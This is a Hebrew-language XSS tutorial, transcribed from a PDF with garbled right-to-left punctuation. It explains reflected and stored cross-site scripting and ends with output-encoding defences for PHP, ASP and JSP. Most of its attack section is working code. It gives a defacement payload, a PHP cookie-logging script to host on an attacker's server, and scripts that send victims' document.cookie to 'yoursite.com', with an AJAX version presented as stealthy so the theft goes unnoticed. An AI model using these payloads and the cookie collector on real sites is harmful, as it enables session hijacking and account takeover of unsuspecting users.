Cross Site Scripting (XSS) מאת: El3ct71k 3102
Transcription
Cross Site Scripting (XSS) מאת: El3ct71k 3102
Cross Site Scripting )(XSS מאתEl3ct71k : 3102 פרקים: .0 .3 .2 .4 .5 .6 .7 .8 .9 מבוא עיקרון התקפת XSS יתרונות ההתקפה גניבת נתונים באמצעות ניצול XSS שימוש יעיל באמצעות Ajax פירוט פעולות של ניצול ההתקפה מה הולך פה? השוואה בין XSS Storedלבין XSS Reflected דרכי התגוננות מומלץ לפני קריאת המאמר להכיר ב HTMLו Javascriptבאופן בסיסי על מנת להבין את המאמר באופן שוטף. לכל שאלה אפשר לשלוח לי למייל ואענה בכיף[email protected] , מבוא ( XSSראשי תיבות של )Cross-site scripting :היא קטגוריה של פרצות אבטחה הנמצאות לרוב באתרי אינטרנט המאפשרים הכנסת תוכן על ידי משתמשים .ניצול של פרצות אלו מאפשר הזרקת קוד זדוני אל אתר אינטרנט על ידי משתמש .כאשר משתמש תמים נכנס לאתר האינטרנט הפרוץ ,מחשבו של המשתמש התמים מתייחס לקוד הזדוני כאל קוד לגיטימי של האתר הפרוץ ,ומריץ את הקוד הזה .מכיוון שהקוד הזדוני נחשב לקוד לגיטימי של האתר הפרוץ ,הוא יכול לקבל כל מידע הרלוונטי לאתר זה ,כגון הרשאות כניסה של המשתמש לאתר .במקרים קיצוניים ,למשל כאשר האתר נמצא ברשימת האתרים שהמשתמש התמים סומך עליהם ,ניתן גם לנצל את הפרצה להרצת קוד זדוני בהרשאות של המשתמש עצמו .ראשי התיבות האמיתיים של Cross-site scriptingהם ,CSSאולם מקובל כיום להשתמש בקיצור CSSעבור שפת הסימון .Cascading Style Sheets אם הייתי יכול לתת הגדרה אחרת ל XSSהייתי מגדיר את זה כ"אמון שגוי בדף HTML המיוחס כקוד לגיטימי ותקין לכל דבר" עיקרון התקפת XSS ההתקפה מתבססת על סקריפטים מסויימים בשפות אינטרנט( ASP, ASP.NET, JSP, )PHPאשר בדרך כתובת( )GETאו בשליחת טופס( )POSTמחדירה את אותו תוכן שרשמת ,ולפעמים גם התוכן ששמרת נשלח למנהל האתר ואז בכלל יש כאן חגיגה אתחיל בכמה דוגמאות שיסבירו לכם בבסיסיות איך ההתקפה עובדת ,ואני מאמין שבסוף המאמר היצירתיות שלכם תיקח אותכם רחוק. –מנוע חיפוש: כמו שבטח שמתם לב -התוכן שהקשנו בעצם "נזרק" לתוך האתר בגלל שהחיפוש שחיפשתי לא נמצא(כמובן שאין בחיפוש של גוגל XSSאפשר להיות רגועים ) אבל אם נכנס לאתר מסויים אשר לא חסם תווים מסויימים או לא הגן על החדרת ""html לתוך האתר ברגע שאני ירשום את הרצף הבא: ><script>alert('XSS BY El3ct71k');</script ויעשה "חפש" התוכן שיחזור לי יראה בצורה הבאה: בעצם הנחתי שורת קוד פשוטה ומכיוון שהאתר לא עשה חסימת תווים הקוד שרשמנו "נזרק" לתוך האתר והמשיך את הקוד הרגיל באופן חוקי לכל דבר יתרונות ההתקפה ברגע שהצלחת להחדיר סקריפט לאתר הקורבן אתה תוכל להשתמש באתר שלו לצרכים שלך ,השאלה היא לאיזה שימושים בדקת אם הפירצה קיימת אתה יכול להחליף לו את כל האתר לדף לבן עם מסרים משלך ( )DEFACEבעזרת הסקריפט הבא: ><script>document.body.innerHTML='Hacked By El3ct71k'</script והתוכן שיחזור הוא דף לבן עם ""Hacked By El3ct71k גניבת נתונים באמצעות ניצול XSS לרוב ,ברגע שזה אתר אשר קיימים בו משתמשים באתר אתה יכול בעזרת סקריפט פשוט "לגנוב" עוגיות(קוקיז) ממשתמש אשר תרצה להתחבר דרכו, ישנן 3סוגים של התקפת XSSוהם שונים בכמה מובנים – (XSS Storedתמידי) ו XSS (Reflectedזמני) שעל ההבדלים בינהם נדבר בהמשך בעזרת הסקריפט הבא כל משתמש אשר יכנס לאתר הקורבן עם הקישור שתתן לו הקוקיז שלו יגיע אליך ועל ידי פעולה זו תוכל להתחבר דרך אותו משתמש מבלי לדעת את הסיסמא שלו! הנה לדוגמא קוד קצר שכתבתי של שמירת קוקיז: <?php ;)'$fp = fopen('cookies.txt', 'a+ ;)"fwrite($fp, $_GET['cookies']."\r\n ;)fclose($fp >? את הקובץ הזה אתה מעלה לשרת שהוא שלך ,ובאתר שאתה מעוניין לשאוב ממנו את כל הקוקיז של המשתמשים שנכנסים אליואם זה XSS Storedהרווחת) הדרך השקופה לגנוב קוקיז הינה פשוטה ,אתה בעצם מפנה את אותו משתמש לכתובת שאליה תפנה ואז בעצם ההתקפה מתגלה ,לא לדאוג גם לזה הכנתי לכם פתרון ><script>window.location.href='http://www.yoursite.com/index.php?cookies='+document.cookie;</script הסקריפט הנ"ל בעצם מפנה את כל מי שנכנס לאתר לקובץ שלך אשר שומר קוקיז ושולח לך את הקוקיז מהאתר שהתקפת ,אבל הדרך הזו שקופה – היא בעצם בבירור מראה שכל הקוקיז מגיע אליך וגם ככה הוא לא יוכל לגלוש באתר וזה יתגלה מאוד מהר והדרך הבאה שאראה לכם עובדת על טכנולוגיית AJAXהאגדית שימוש יעיל באמצעות Ajax ,AJAXראשי תיבות של ,Asynchronous JavaScript And XMLהיא טכניקה ליצירת יישומי דפדפן אינטראקטיביים המבוססים על קוד המורץ במסגרת דף HTMLבודד ,ולא כיישום מרובה דפים ,כמקובל בסביבת ה .WEBמטרתה העיקרית של הטכניקה היא שיפור חוויית המשתמש והאצת מהירות הטעינה של דפי האינטרנט ,מאחר שהיא מאפשרת לעדכן רק חלקים מבוקשים בדף האינטרנט ,ללא צורך לטעון את הדף כולו מחדש במחשבו של המשתמש. #ויקיפדיה דרך AJAXמתאפשרת לנו דרך להריץ את הסקריפט הזדוני שלנו בלי רענון הדף מה שאומר שהוא לא יתגלה. בקוד הבא אראה לכם איך זה עובד: { )function iCookies(url ;var xmlhttp // code for IE7+, Firefox, Chrome, Opera, Safari { )if (window.XMLHttpRequest ;)(xmlhttp=new XMLHttpRequest // code for IE6, IE5 } else { ;)"xmlhttp=new ActiveXObject("Microsoft.XMLHTTP } { )(xmlhttp.onreadystatechange=function { )if (xmlhttp.readyState==4 && xmlhttp.status==200 ;document.getElementById(id).innerHTML=xmlhttp.responseText } } ;)xmlhttp.open("GET",url+document.cookie,true ;)(xmlhttp.send } ;)"=iCookies("http://yoursite.com/index.php?cookies בתוכן המודגש אתם מקלידים את הכתובת של הקובץ שהעלאתם שצריך לגנוב את הקוקיז ,וככה ההתקפה בוצעה בהצלחה בלי שאף אחד מרגיש פירוט פעולות של ניצול ההתקפה צד שרת שם משתמש וסיסמא קוקיז קוקיז +נתונים סקריפט משתמש משתמש נתונים צד שרת קוקיז +נתונים האקר נתונים מה הולך פה? כאן רשמתי לכם את סדר הפעולות המתרחשות בעצם כשהכנסתם את הסקריפט, המשתמש התמים נכנס לאתר ומתחבר ,ואצלו נשמר הקוקיז שמוודא שהוא מחובר ,לאחר מכן הסקריפט "פוגע" במשתמש וגונב את הקוקיז והנתונים לתוך הקובץ ,וכאן האקר נכנס לתמונה ,הוא לוקח את רצף הדברים שנשמרו לו בקובץ ,ועורך את הקוקיז שלו ,לוקח את הקוקיז של הקורבן ומתחבר דרכו ,האימות את האישור של המשתמש הספציפי שהכנסת וככה המערכת בעצם חושבת שאתה זה אותו משתמש תמים. הבדלים בין XSS Storedלבין XSS Reflected ישנן שני סוגים של XSS Stored ,XSSו XSS Reflected :XSS Stored כשמו כן הוא ,נשמר\מאוחסן ,זה אומר שאותו XSSבעצם נשמר במסד נתונים והוא פעיל תמיד – המצב הכי טוב שהאקר יכול לבקש ,ההזרקה תנוצל על כל משתמש שיכנס לאתר! רמת סיכון :גבוהה :XSS Reflected XSSזמני ,מה שאומר שרק כאשר נעשה את פעולת הניצול הוא יפעל ,במצב כזה אתה תוכל לגנוב קוקיז רק ממשתמשים ספציפים אשר יקבלו את הקוד! את היצירתיות לעשות את זה אשאיר לכם רמת סיכון :בינוני :XSS Reflected לביןXSS Stored טבלת הבדלים בין XSS Reflected זמני פונה למשתמש ספציפי בינוני XSS Stored תמידי פונה לכל משתמשי האתר גבוהה אופציות משך זמן פעילות רמת סיכון דרכי התגוננות על המתכנת בעצם לחסום אפשרות בפעולות האתר,צורת ההגנה היא פשוטה מאוד במידה ויש צורך,HTML בכל מקום הניתן לשינוי והיכן שאין צורך בHTML להחדיר בכל צורה והצפנהscript ,</ ,< ,> :במקומות מסויימים יש לחסום את התווים :PHP,ASP,ASP.NET,JSPלפניכם צורות חסימה בשפות PHP: <?php echo(htmlspecialchars($_GET['s'])); ?> ASP / ASP.NET: <p><%= Server.HtmlEncode(Request.Params["s"]) %></p> JSP: <%! public static String encodeHTML(String s) { StringBuffer out = new StringBuffer(); for(int i=0; i<s.length(); i++) { char c = s.charAt(i); if(c > 127 || c=='"' || c=='<' || c=='>') { out.append("&#"+(int)c+";"); } else { out.append(c); } } return out.toString(); } %> <%= encodeHTML(request.getParameter("s")) %>